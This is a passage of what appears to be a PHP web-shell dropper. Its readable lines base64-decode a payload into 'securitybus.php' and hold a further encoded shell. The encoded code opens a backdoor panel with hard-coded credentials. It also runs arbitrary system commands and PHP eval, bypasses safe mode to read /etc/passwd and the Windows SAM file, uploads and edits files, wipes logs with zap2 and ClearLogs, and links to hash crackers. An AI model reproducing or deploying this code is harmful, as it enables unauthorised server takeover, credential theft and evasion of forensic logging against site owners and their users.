G8gJHN1cmw7ID8+Ij48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT14IHZhbHVlPSJta2RpciI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImQiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPg0KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1rZGlyIiBzaXplPSI1MCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+IC0gDQo8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkNyZWF0ZSI+IDw/cGhwIGVjaG8gJHdkdDsgPz48L2Zvcm0+DQo8L3RkPjwvdHI+DQo8dHI+PHRkPlZpZXcgRmlsZTo8L3RkPg0KPHRkPjxmb3JtIG1ldGhvZD0iUE9TVCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9eCB2YWx1ZT0iZ29maWxlIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0iZCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+DQogICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImYiIHNpemU9IjUwIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij4gLSA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IlZpZXciPg0KDQogICAgPC9mb3JtPjwvdGQ+PC90cj4NCjx0cj48dGQ+UEhQIFNhZmUtTW9kZSBCeXBhc3MgKFJlYWQgRmlsZSk8L3RkPg0KPHRkPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iIG1ldGhvZD1HRVQ+DQpGaWxlOiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ImZpbGUiPiA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IlJlYWQgRmlsZSI+DQplLmcuOiAvZXRjL3Bhc3N3ZCBvciBDOlxXSU5ET1dTXHN5c3RlbTMyXC5TQU0NCjwvZm9ybT4NCjw/cGhwDQppZihpc3NldCgkX0dFVFsnZmlsZSddKSkgew0KCSR0ZXN0PScnOw0KCSR0ZW1wPXRlbXBuYW0oJHRlc3QsICdjeCcpOw0KCSRmaWxlPSRfR0VUWydmaWxlJ107ICAgIA0KCSRnZXQ9aHRtbHNwZWNpYWxjaGFycygkZmlsZSk7DQoJZWNobyAnVHJ5aW5nIFRvIEdldCBGaWxlIDxmb250IGNvbG9yPSMwMDAwOTk+PGI+Jy4kZ2V0Lic8L2I+PC9mb250Pjxicj4nOw0KCWlmKGNvcHkoImNvbXByZXNzLnpsaWI6Ly8iLiRmaWxlLCAkdGVtcCkpew0KCQkkZmljaGllciA9IGZvcGVuKCR0ZW1wLCAncicpOw0KCQkkYWN0aW9uID0gZnJlYWQoJGZpY2hpZXIsIGZpbGVzaXplKCR0ZW1wKSk7DQoJCWZjbG9zZSgkZmljaGllcik7DQoJCSRzb3VyY2U9aHRtbHNwZWNpYWxjaGFycygkYWN0aW9uKTsNCgkJZWNobyAnPGI+U3RhcnQgJy4kZ2V0Lic8L2I+PGJyPjxmb250IGNvbG9yPXdoaXRlPjxwcmU+Jy4kc291cmNlLic8L3ByZT48L2ZvbnQ+PGJyPjxiPkZpbiA8Zm9udCBjb2xvcj0jMDAwMDk5PicuJGdldC4nPC9mb250PjwvYj4nOw0KCQl1bmxpbmsoJHRlbXApOw0KCX0gZWxzZQ0KCQllY2hvICc8Zm9udCBjb2xvcj1yZWQ+PGNlbnRlcj5Tb3JyeS4uLiBGaWxlIDxiPicuaHRtbHNwZWNpYWxjaGFycygkZmlsZSkuJzwvYj4gZG9lc25cJ3QgZXhpc3Qgb3IgeW91IGRvblwndCBoYXZlIGFjY2Vzcy48L2NlbnRlcj48L2ZvbnQ+JzsNCn0NCj8+DQoNCjwvdGQ+PC90cj4NCjx0cj48dGQ+UEhQIFNhZmUtTW9kZSBCeXBhc3MgKERpcmVjdG9yeSBMaXN0aW5nKTwvdGQ+DQo8dGQ+PGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRzdXJsOyA/PiIgbWV0aG9kPUdFVD4NCkRpcjogPGlucHV0IHR5cGU9dGV4dCBuYW1lPSJkaXJlY3RvcnkiPiA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ikxpc3QgRGlyZWN0b3J5Ij4NCmUuZy46IC9ldGMvIG9yIEM6XA0KPC9mb3JtPg0KPD9waHANCmlmKGlzc2V0KCRfR0VUWydkaXJlY3RvcnknXSkpIHsNCgkkY2hlbWluID0gJF9HRVRbJ2RpcmVjdG9yeSddOw0KCSRmaWxlcyA9IGdsb2IoIiRjaGVtaW4qIik7DQoJZWNobyAnVHJ5aW5nIFRvIExpc3QgRm9sZGVyIDxmb250IGNvbG9yPSMwMDAwOTk+PGI+Jy4kY2hlbWluLic8L2I+PC9mb250Pjxicj48YnI+JzsNCglmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGVuYW1lKQ0KCQllY2hvICRmaWxlbmFtZS4iXG48YnI+IjsgLy8gYWRkZWQgdGhlIFxuIGZvciBlYXNpZXIgcmVhZGFiaWxpdHkgd2hpbGUgdmlld2luZyB0aGUgaHRtbCBzb3VyY2UNCn0NCj8+DQo8L3RkPjwvdHI+DQo8L3RyPg0KPHRyPjx0ZD5EZWxldGUgTG9nPC90ZD4NCjx0ZD48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij4gDQoNCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJkIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij4gDQo8U0VMRUNUIE5BTUU9ImFjdCI+DQo8T1BUSU9OIFZBTFVFPSJ6YXAyIj5XaXBlIExvZ3MgVXNpbmcgemFwMiAoKm5peCkNCjxPUFRJT04gVkFMVUU9ImNsZWFybG9ncyI+V2lwZSBMb2dzIFVzaW5nIENsZWFyTG9ncyAoV2luZG93cykNCjwvU0VMRUNUPg0KPGlucHV0IHR5cGU9c3VibWl0IG5hbWU9InN1Ym1pdCIgdmFsdWU9IkV4ZWN1dGUiPjwvZm9ybT4NCjwvdGQ+PC90cj4NCjwvVEFCTEU+DQo8L2JvZHk+PC9odG1sPjw/cGhwIGNoZGlyKCRsYXN0ZGlyKTsgY2Fwcml2OGV4aXQoKTsNCg==';
file_put_contents('securitybus.php',base64_decode($b374k));;
echo "<a href='./shells/securitybus.php'>Here securitybus.php</a><br>";
$isra = 'PD9waHANCiMgQnlwYXNzIFN1SG9zaW4NCiMgVmlydHVhbA0KIyB1c2VycyA2IElEIC9ldGMvcGFzc3dkDQoNCiR1c2VyID0gJ2lzcic7IA0KJHBhc3MgPSAnaXNyJzsgDQokdXNlbG9naW4gPSAxOw0KJHNoM2xsQ29sb3IgPSAiZ3JlZW4iOw0KDQojIE15U1FMIEluZm8gLS0tLS0tLS0tDQokREJob3N0ID0gImxvY2FsaG9zdCI7DQokREJ1c2VyID0gInJvb3QiOw0KJERCcGFzcyA9ICJyb290IjsNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnNlc3Npb25fc3RhcnQoKTsNCmVycm9yX3JlcG9ydGluZygwKTsNCnNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsNCnNldF90aW1lX2xpbWl0KDApOw0KaWdub3JlX3VzZXJfYWJvcnQoVFJVRSk7DQppbmlfcmVzdG9yZSgic2FmZV9tb2RlIik7DQppbmlfcmVzdG9yZSgib3Blbl9iYXNlZGlyIik7DQppbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLDApOw0KaW5pX3NldCgnb3V0cHV0X2J1ZmZlcmluZycsMCk7DQppbmlfc2V0KCdzYWZlX21vZGUnLCdPZmYnKTsNCg0KLy8gU2V0IEN1cnJlbnQgRGlyZWN0b3J5DQppZighJF9QT1NUICYmICEkX1NFU1NJT05bJ2N1ckRpciddKSB7DQoJJGRpciA9IGdldGN3ZCgpOw0KCSRfU0VTU0lPTlsnY3VyRGlyJ10gPSAkZGlyOw0KfSBlbHNlIGlmKGVtcHR5KCRfUE9TVFsnY3VyRGlyJ10pKSB7DQoJJGRpciA9ICRfU0VTU0lPTlsnY3VyRGlyJ107DQp9IGVsc2Ugew0KCSRkaXIgPSBmaWx0ZXIoJF9QT1NUWydjdXJEaXInXSk7DQoJJF9TRVNTSU9OWydjdXJEaXInXSA9ICRkaXI7DQp9DQovLyBTZXQgRGlyIE1vZGUNCmlmKCRfR0VUWydkaXJfbW9kZSddKSB7DQoJJGRpcl9tb2RlID0gJF9HRVRbJ2Rpcl9tb2RlJ107DQoJJF9TRVNTSU9OWydkaXJfbW9kZSddID0gJGRpcl9tb2RlOw0KfSBlbHNlIHsgDQoJJGRpcl9tb2RlID0gJF9TRVNTSU9OWydkaXJfbW9kZSddOw0KfQ0KDQovLyBTZXQgVXNhYmxlIENvbW1hbmQNCmlmKCRfUE9TVFsnZXhlX21ldGhvZCddKSB7DQoJJGV4ZWNfbWV0aG9kID0gJF9QT1NUWydleGVfbWV0aG9kJ107DQp9IGVsc2Ugew0KCSRleGVjX21ldGhvZCA9ICJleGVjIjsNCn0NCiMgTG9nb3V0IA0KaWYoJF9QT1NUWydsb2dvdXQnXSkgew0KCXByaW50ICc8c2NyaXB0PmRvY3VtZW50LmNvb2tpZT0idXNlcj07Ijtkb2N1bWVudC5jb29raWU9InBhc3M9OyI7PC9zY3JpcHQ+JzsNCglwcmludCAnPHNjcmlwdD5kb2N1bWVudC5sb2NhdGlvbiA9ICInLiRfU0VSVkVSWydQSFBfU0VMRiddLiciOzwvc2NyaXB0Pic7DQp9DQppZihzdHJsZW4oJGRpcik+MSAmJiAkZGlyWzFdPT0iOiIpeyRvcyA9ICJXaW5kb3dzIjt9ZWxzZSB7JG9zID0gIkxpbnV4Ijt9DQppZigkX0dFVFsnaW5mbyddKXtwaHBpbmZvKCk7fQ0KJHNhZmVNb2RlID0gU2FmZU1vZGUoKTsNCiRzZXJ2ZXIgPSBzdWJzdHIoJFNFUlZFUl9TT0ZUV0FSRSwwLDEyMCk7DQokZGFlbW9uID0gIiI7DQo/Pg0KPGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5TZWN1cml0eUJ1cyBTaGVsbDwvdGl0bGU+DQo8bGluayByZWw9InNob3J0Y3V0IGljb24iIGhyZWY9J2h0dHA6Ly9pNTAudGlueXBpYy5jb20vMXpnODg2cy5qcGcnIC8+DQo8bWV0YSBodHRwLWVxdWl2PUNvbnRlbnQtVHlwZSBjb250ZW50PXRleHQvaHRtbDsgY2hhcnNldD1VVEYtOD4NCjw/cGhwIGVjaG8gQ1NTKCRzaDNsbENvbG9yKTsgPz4NCg0KPC9oZWFkPg0KPGJvZHkgZGlyPSdsdHInPg0KPD9waHANCiMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIw0KIyAgICAgICAgICAgICBBdXRoZW50aWNhdGlvbiAgICAgICAgICAgICAjDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSMNCmlmICgkdXNlbG9naW4gPT0xKSB7DQoJaWYoJF9DT09LSUVbInVzZXIiXSAhPSAkdXNlciBvciAkX0NPT0tJRVsicGFzcyJdICE9IG1kNSgkcGFzcykpIHsNCgkJaWYoJF9HRVQpIHskdXNlciA9ICRfR0VUWyd1c2VyJ107JHBhc3MgPSAkX0dFVFsncGFzcyddO30NCgkJaWYoJF9QT1NUWyd1c3JuYW1lJ109PSR1c2VyICYmICRfUE9TVFsncGFzc3dyZCddPT0kcGFzcyl7DQoJCQlwcmludCc8c2NyaXB0PmRvY3VtZW50LmNvb2tpZT0idXNlcj0nLiRfUE9TVFsndXNybmFtZSddLic7Ijtkb2N1bWVudC5jb29raWU9InBhc3M9Jy5tZDUoJF9QT1NUWydwYXNzd3JkJ10pLic7Ijs8L3NjcmlwdD4nOw0KCQl9IGVsc2Ugew0KCQkJaWYoJF9QT1NUWyd1c3JuYW1lJ10pew0KCQkJCXByaW50JzxzY3JpcHQ+YWxlcnQoIkdvIGFuZCBwbGF5IGluIHRoZSBzdHJlZXQgbWFuICEhIik7PC9zY3JpcHQ+JzsNCgkJCX0NCj8+DQo8YnI+PGJyPg0KCQkJPGNlbnRlcj48aW1nIHNyYz0iaHR0cDovL2k1MC50aW55cGljLmNvbS8xemc4ODZzLmpwZyI+PGJyIC8+DQoJCQk8c3k+U2VjdXJpdHlCdXM8L3N5Pg0KCQkJPC9jZW50ZXI+PGJyIC8+DQoJCQk8ZGl2IGFsaWduPSJjZW50ZXIiPg0KCQkJCTxmb3JtIG1ldGhvZD0iUE9TVCIgbmFtZT0ibG9naW5fZm9ybSIgb25TdWJtaXQ9ImlmKHRoaXMudXNybmFtZS52YWx1ZT09Jycpe3JldHVybiBmYWxzZTt9Ij4NCgkJCQk8aW5wdXQgZGlyPSJsdHIiIG5hbWU9InVzcm5hbWUiIGlkPSJ1c2VybmFtZSIgdmFsdWU9IiIgdHlwZT0idGV4dCIgIHNpemU9IjMwIiBvbkJsdXI9IkJsdXIoJ3VzZXJuYW1lJywndXNlck5hbWUnKTsiIG9uQ2xpY2s9IkNsZWFyKCd1c2VybmFtZScsJ3VzZXJOYW1lJyk7Ii8+PGJyPg0KCQkJCTxpbnB1dCBkaXI9Imx0ciIgbmFtZT0icGFzc3dyZCIgaWQ9InBhc3N3b3JkIiB2YWx1ZT0iIiB0eXBlPSJwYXNzd29yZCIgc2l6ZT0iMzAiIG9uRm9jdXM9IkZvY3VzKDIpOyIgLz48YnI+DQoJCQkJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IiBMb2dpbiAgIiBuYW1lPSJsb2dpbiIgLz4NCgkJCQk8L2Zvcm0+DQoJCQk8L2Rpdj4NCiAgICAgICAgICAgIDw/cGhwDQoJCQlmb290ZXIoKTsNCgkJCWV4aXQ7DQoJCX0NCgl9DQp9DQo/Pg0KPHRhYmxlIGNlbGxwYWRkaW5nPScwJyBjZWxsc3BhY2luZz0nMCcgd2lkdGg9JzEwMCUnPg0KCTx0cj4NCiAgICAJPHRkIHdpZHRoPScxNjAnPg0KICAgIAk8Y2VudGVyPjxmb3JtIG1ldGhvZD0icG9zdCI+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkxvZ291dCIgbmFtZT0ibG9nb3V0IiBpZD0ibG9nb3V0IiAvPjwvZm9ybT48L2NlbnRlcj4NCgkJCTxhIGhyZWY9Ijw/cGhwIGVjaG8gJF9TRVJWRVJbJ1BIUF9TRUxGJ107ID8+Ij48aW1nIGJvcmRlcj0nMCcgc3JjPSdodHRwOi8vaTUwLnRpbnlwaWMuY29tLzF6Zzg4NnMuanBnJyB3aWR0aD0nMTAwJScgaGVpZ2h0PScxMDAlJz48L2E+PGJyPg0KCQkJPGNlbnRlcj5TZWN1cml0eUJ1cw0KCQkJPHA+PC9wPg0KCQkJCTxzZWxlY3QgbmFtZT0iZGlyX21vZGUiIGlkPSJkaXJfbW9kZSIgb25DaGFuZ2U9ImNoYW5nZV9kaXJfbW9kZSgpOyI+DQoJCQkJCTxvcHRpb24gdmFsdWU9ImNtZCIgPD9waHAgaWYoJGRpcl9tb2RlID09ICJjbWQiKSB7ZWNobyAic2VsZWN0ZWQiO30gPz4gPkNNRDwvb3B0aW9uPg0KCQkJCQk8b3B0aW9uIHZhbHVlPSJwaHAiIDw/cGhwIGlmKCRkaXJfbW9kZSA9PSAicGhwIikge2VjaG8gInNlbGVjdGVkIjt9ID8+PlBIUDwvb3B0aW9uPg0KCQkJCTwvc2VsZWN0Pg0KCQkJPC9jZW50ZXI+DQogICAgICA8L3RkPg0KCSAgPHRkPg0KICAgICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCjx0YWJsZSB3aWR0aD0nMTAwJScgc3R5bGU9ImJvcmRlcjpub25lOyBwYWRkaW5nOjJweDsiID4NCiAgICA8dHI+DQogICAgCTx0ZCB3aWR0aD0nMTAzJz5TeXN0ZW08L3RkPg0KICAgIAk8dGQgd2lkdGg9IjMyMyI+PD9waHAgZWNobyAkb3M7ID8+PC90ZD4NCiAgICAJPHRkIHdpZHRoPSI5MCI+QXBhY2hlIE1vZHVsZXM8L3RkPg0KICAgIAk8dGQgd2lkdGg9IjI3OCI+PHNlbGVjdCA+PD9waHAgDQogICAgCWlmKGZ1bmN0aW9uX2V4aXN0cygiYXBhY2hlX2dldF9tb2R1bGVzIikpIHsNCgkJCWZvcmVhY2ggKGFwYWNoZV9nZXRfbW9kdWxlcygpIGFzICRtb2R1bGUpIHsNCgkJCQllY2hvICI8b3B0aW9uPiIuJG1vZHVsZS4iPC9vcHRpb24+IjsNCgkJCX0NCiAgICAJfWVsc2Ugew0KICAgIAkJZWNobyAiPG9wdGlvbj5OT05FPC9vcHRpb24+IjsNCiAgICAJfQ0KICAgIAk/Pjwvc2VsZWN0PjwvdGQ+DQogICAgPC90cj4NCiAgICA8dHI+DQogICAgICA8dGQ+dW5hbWUgPC90ZD4NCiAgICAgIDx0ZD48YSBocmVmPSdodHRwOi8vd3d3Lmdvb2dsZS5jb20vc2VhcmNoP3E9PD9waHAgZWNobyBwaHBfdW5hbWUoKTsgPz4nIHRhcmdldD0nX2JsYW5rJz48dT48P3BocCBlY2hvIHBocF91bmFtZSgpOyA/PjwvdT48L2E+PC90ZD4NCiAgICAgIDx0ZD5DdXJsPC90ZD4NCiAgICAgIDx0ZD48P3BocCBlY2hvIEN1cmwoKTsgPz48L3RkPg0KICAgIDwvdHI+DQogICAgPHRyPg0KICAgICAgICA8dGQ+cHdkPC90ZD4NCiAgICAgICAgPHRkPjw/cGhwIGVjaG8gZ2V0Y3dkKCk7ID8+PC90ZD4NCiAgICAgICAgPHRkPk9wZW4gQmFzZWRpcjwvdGQ+DQogICAgICAgIDx0ZD48P3BocCBlY2hvIG9wZW5CYXNlRGlyKCk7ID8+PC90ZD4NCiAgICA8L3RyPg0KICAgIDx0cj4NCiAgICAgICAgPHRkPndob2FtaTwvdGQ+DQogICAgICAgIDx0ZD48P3BocCBlY2hvIGdldF9jdXJyZW50X3VzZXIoKTsgPz48L3RkPg0KICAgICAgICA8dGQ+TWFnaWNfUXVvdGVzPC90ZD4NCiAgICAgICAgPHRkPjw/cGhwIGVjaG8gbWFnaWNRb3V0cygpOyA/PjwvdGQ+DQogICAgPC90cj4NCiAgICAgICAgPHRyPg0KICAgICAgICAgIDx0ZD5TZXJ2ZXI8L3RkPg0KICAgICAgICAgIDx0ZD48P3BocCBlY2hvICRzZXJ2ZXI7ID8+PC90ZD4NCiAgICAgICAgICA8dGQ+UmVnaXN0ZXIgR2xvYmFsczwvdGQ+DQogICAgICAgICAgPHRkPjw/cGhwIGVjaG8gUmVnaXN0ZXJHbG9iYWxzKCk7ID8+PC90ZD4NCiAgICAgICAgPC90cj4NCiAgICAgICAgPHRyPg0KICAgICAgICAgIDx0ZD5TZXJ2ZXIgTmFtZTwvdGQ+DQogICAgICAgICAgPHRkPjw/cGhwIGVjaG8gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOyA/PjwvdGQ+DQogICAgICAgICAgPHRkPkd6aXA8L3RkPg0KICAgICAgICAgIDx0ZD48P3BocCBlY2hvIEd6aXAoKTsgPz48L3RkPg0KICAgICAgICA8L3RyPg0KICAgICAgICA8dHI+DQogICAgICAgICAgPHRkPllvdXIgSVA8L3RkPg0KICAgICAgICAgIDx0ZD48P3BocCBlY2hvIEdldFJlYWxJUCgpOyA/PjwvdGQ+DQogICAgICAgICAgPHRkPk9yYWNsZTwvdGQ+DQogICAgICAgICAgPHRkPjw/cGhwIGVjaG8gT3JhY2xlKCk7ID8+PC90ZD4NCiAgICAgICAgPC90cj4NCiAgICAgICAgPHRyPg0KICAgICAgICAgIDx0ZD5TZXJ2ZXIgSVA8L3RkPg0KICAgICAgICAgIDx0ZD48YSBocmVmPSdodHRwOi8vYmluZy5jb20vc2VhcmNoP3E9aXA6PD9waHAgZWNobyBnZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSk7ID8+JmdvPSZmb3JtPVFCTEgmZmlsdD1hbGwnIHRhcmdldD0nX2JsYW5rJz48dT48P3BocCBlY2hvIGdldGhvc3RieW5hbWUoJF9TRVJWRVJbIkhUVFBfSE9TVCJdKTsgPz48L3U+PC9hPiBbPGEgaHJlZj0iaHR0cDovL3dob2lzLndlYmhvc3RpbmcuaW5mby88P3BocCBlY2hvIGdldGhvc3RieW5hbWUoJF9TRVJWRVJbIkhUVFBfSE9TVCJdKTsgPz4iIHRhcmdldD0nX2JsYW5rJyAvPlJldmVyc2UgSVBdPC90ZD4NCiAgICAgICAgICA8dGQ+TVNRTDwvdGQ+DQogICAgICAgICAgPHRkPjw/cGhwIGVjaG8gTVNRTCgpOyA/PjwvdGQ+DQogICAgICAgIDwvdHI+DQogICAgICAgIDx0cj4NCiAgICAgICAgICA8dGQ+UEhQIFZlcnNpb248L3RkPg0KICAgICAgICAgIDx0ZD48YSBocmVmPSdqYXZhc2NyaXB0Om9wZW5QSFBJbmZvKCk7Jz48dT48P3BocCBlY2hvIHBocHZlcnNpb24oKTsgPz48L3U+PC9hPjwvdGQ+DQogICAgICAgICAgPHRkPk15U1FMPC90ZD4NCiAgICAgICAgICA8dGQ+PD9waHAgZWNobyBNeVNRTDIoKS4iICIubXlzcWxfZ2V0X3NlcnZlcl9pbmZvKCk7ID8+PC90ZD4NCiAgICAgICAgPC90cj4NCiAgICAgICAgPHRyPg0KICAgICAgICAgIDx0ZD5TYWZlIE1vZGU8L3RkPg0KICAgICAgICAgIDx0ZD48P3BocCBlY2hvICRzYWZlTW9kZTsgPz48L3RkPg0KICAgICAgICAgIDx0ZD5NeVNRTGk8L3RkPg0KICAgICAgICAgIDx0ZD48P3BocCBlY2hvIE15c3FsSSgpOyA/PjwvdGQ+DQogICAgICAgIDwvdHI+DQogICAgICAgIDx0cj4NCiAgICAgICAgPHRkPmRpc2FibGUgZnVuY3Rpb25zPC90ZD4NCiAgICAgICAgPHRkPjxzZWxlY3QgbmFtZT0iZGlzYWJsZUZ1bmN0aW9ucyI+PD9waHANCgkJJGZ1bkFycmF5ID0gRGlzYWJsZUZ1bmN0aW9ucygpOw0KCQkkZnVuQXJyYXkgPSBleHBsb2RlKCIsIiwkZnVuQXJyYXkpOw0KCQlzb3J0KCRmdW5BcnJheSk7DQoJCWZvcmVhY2goJGZ1bkFycmF5IGFzICRmdW4pe2VjaG8gIjxvcHRpb24gdmFsdWU9JyIuJGZ1bi4iJz4iLiRmdW4uIjwvb3B0aW9uPiI7fQ0KCQk/Pjwvc2VsZWN0Pg0KICAgICAgICAgIDxpbnB1dCBuYW1lPSJTVE9QX0V4ZWN1dGUiIHR5cGU9InN1Ym1pdCIgaWQ9IlNUT1BfRXhlY3V0ZSIgdmFsdWU9IlR1cm4gT2ZmIiAvPg0KICAgICAgICAgIDwvdGQ+DQogICAgICAgIDx0ZD5Nc1NRTDwvdGQ+DQogICAgICAgIDx0ZD48P3BocCBlY2hvIE1zU1FMKCk7ID8+PC90ZD4NCiAgICAgICAgPC90cj4NCjwvdGFibGU+DQombmJzcDsgICBbPGEgaHJlZj0naHR0cDovL3d3dy5tZDVkZWNyeXB0ZXIuY28udWsvJyB0YXJnZXQ9J19ibGFuayc+TUQ1IENyYWNrZXI8L2E+XQ0KWzxhIGhyZWY9J2h0dHA6Ly93d3cubWQ1ZGVjcnlwdGVyLmNvLnVrL3NoYTEtZGVjcnlwdC5hc3B4JyB0YXJnZXQ9J19ibGFuayc+U0hBMSBDcmFja2VyPC9hPl0NCls8YSBocmVmPSdodHRwOi8vd3d3Lm1kNWRlY3J5cHRlci5jby51ay9udGxtLWRlY3J5cHQuYXNweCcgdGFyZ2V0PSdfYmxhbmsnPk5UTE0gQ3JhY2tlcjwvYT5dDQo8aW5wdXQgbmFtZT0iVVNFUlNfMSIgdHlwZT0ic3VibWl0IiBpZD0iVVNFUlNfMSIgdmFsdWU9IlVzZXJzIFsxXSIgLz4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImZvcmJpZGRlbl9ieXBhc3MiIGlkPSJmb3JiaWRkZW5fYnlwYXNzIiB2YWx1ZT0iRm9yYmlkZGVuIiAvPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iZmluZF83NTUiIGlkPSJmaW5kXzc1NSIgdmFsdWU9IkZpbmQgNzU1IiAvPg0KPGJyPg0KPC9mb3JtPg0KPC90YWJsZT4NCg0KPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCjxjZW50ZXI+DQo8dGV4dGFyZWEgY29scz0iMTUwIiByb3dzPSIyMCIgbmFtZT0icmVzdWx0IiA+DQo8P3BocCANCmNoZGlyKCRkaXIpOw0KaWYoJF9QT1NUWydsb2dpbiddIHx8ICEkX1BPU1Qpe2VjaG8gU2NhbkRpcnMoKTt9DQplbHNlIGlmKCRfUE9TVFsnQ01EX0V4ZWN1dGUnXSl7aWYoZW1wdHkoJF9QT1NUWydDTURfTGluZSddKSl7ZWNobyBzY2FuRGlycygpO31lbHNlIHtFeGUodXJsZGVjb2RlKGZpbHRlcigkX1BPU1RbJ0NNRF9MaW5lJ10pKSk7IH19DQplbHNlIGlmKCRfUE9TVFsnUEhQX0V4ZWN1dGUnXSl7JGV2YWwgPSBFdmFsdWF0aW9uKHVybGRlY29kZShmaWx0ZXIoJF9QT1NUWydQSFBfTGluZSddKSkpO30NCmVsc2UgaWYoJF9QT1NUWydVUExPQURfRXhlY3V0ZSddKSB7DQoJZm9yICgkaSA9IDA7ICRpIDwgY291bnQoJF9GSUxFU1sndXBsb2FkZmlsZSddWyduYW1lJ10pOyAkaSsrKSB7DQoJCWlmKCRfRklMRVNbJ3VwbG9hZGZpbGUnXVsnbmFtZSddWyRpXSAhPSAnJykgew0KCQkJaWYoZnVuY3Rpb25fZXhpc3RzKCdjb3B5JykpeyR1cGxvYWQgPSBjb3B5KCRfRklMRVNbJ3VwbG9hZGZpbGUnXVsndG1wX25hbWUnXVskaV0sICRfRklMRVNbJ3VwbG9hZGZpbGUnXVsnbmFtZSddWyRpXSk7fQ0KCQkJZWxzZXskdXBsb2FkID0gbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ3VwbG9hZGZpbGUnXVsndG1wX25hbWUnXVskaV0sICRfRklMRVNbJ3VwbG9hZGZpbGUnXVsnbmFtZSddWyRpXSk7fQ0KCQkJaWYoJHVwbG9hZCkge2VjaG8gIlRoZSBGaWxlICAiLiRfRklMRVNbJ3VwbG9hZGZpbGUnXVsnbmFtZSddWyRpXS4iIFVwbG9hZGVkIFN1Y2Nlc3NmdWxseSAhDQoiOwl9DQoJCQllbHNlIHsgZWNobyAiVGhlIEZpbGUgICIuJF9GSUxFU1sndXBsb2FkZmlsZSddWyduYW1lJ11bJGldLiIgIENhbid0IEJlIFVwbG9hZCA6KCAhDQoiO30NCgkJfQ0KCX0JCQ0KfQ0KZWxzZSBpZigkX1BPU1RbJ0VESVRfRXhlY3V0ZSddKXskY29udGVudCA9IGh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoZmlsdGVyKCRfUE9TVFsnRWRpdF9MaW5lJ10pKSk7ZWNobyAkY29udGVudDt9DQplbHNlIGlmKCRfUE9TVFsnU0FWRV9FeGVjdXRlJ10pIHsNCgkkY29udGVudCA9IGZpbHRlcigkX1BPU1RbJ3Jlc3VsdCddKTsNCglpZihlbXB0eSgkY29udGVudCkpeyRjb250ZW50ID0gIiAiO30NCglpZihHZW5lcmF0ZUZpbGUoJF9QT1NUWydGSUxFX05BTUUnXSwkY29udGVudCkpe2VjaG8gIlsrXVNhdmVkIFN1Y2Nlc3MgISEgIjt9ZWxzZXtlY2hvICJbLV1TYXZlIEZhaWxlZCAhIjt9DQp9DQplbHNlIGlmKCRfUE9TVFsnUkVBRF9FeGVjdXRlJ10pIHsNCgkkcGF0aCA9IHVybGRlY29kZShmaWx0ZXIoJF9QT1NUWydSRUFEX0xpbmUnXSkpOw0KCSRmaWxlID0gZm9wZW4oJHBhdGgsJ3IrJyk7DQoJaWYoJF9QT1NUWydSRUFEX1R5cGUnXSA9PSAiZmlsZSIpe2VjaG8gaHRtbHNwZWNpYWxjaGFycyhmaWx0ZXIoRmlsZUYoJHBhdGgpKSk7CX0NCgllbHNlIGlmKCRfUE9TVFsnUkVBRF9UeXBlJ10gPT0gImZnZXRzIil7d2hpbGUoKCRsaW5lID0gaHRtbHNwZWNpYWxjaGFycyhmaWx0ZXIoZmdldHMoJGZpbGUpKSkpICE9IGZhbHNlKXtlY2hvICRsaW5lO319DQoJZWxzZSBpZigkX1BPU1RbJ1JFQURfVHlwZSddID09ICJmZ2V0c3MiKXt3aGlsZSgoJGxpbmUgPSBodG1sc3BlY2lhbGNoYXJzKGZpbHRlcihmZ2V0c3MoJGZpbGUpKSkpICE9IGZhbHNlKXtlY2hvICRsaW5lO319DQoJZWxzZSBpZigkX1BPU1RbJ1JFQURfVHlwZSddID09ICJyZWFkZmlsZSIpe2VjaG8gaHRtbHNwZWNpYWxjaGFycyhmaWx0ZXIocmVhZGZpbGUoJHBhdGgpKSk7fQ0KCWVsc2UgaWYoJF9QT1NUWydSRUFEX1R5cGUnXSA9PSAiZnJlYWQiKXtlY2hvIGh0bWxzcGVjaWFsY2hhcnMoZmlsdGVyKGZyZWFkKCRmaWxlLGZpbGVzaXplKCRwYXRoKSkpKTt9DQoJZWxzZSBpZigkX1BPU1RbJ1JFQURfVHlwZSddID09ICJmaWxlX2dldF9jb250ZW50cyIpe2VjaG8gaHRt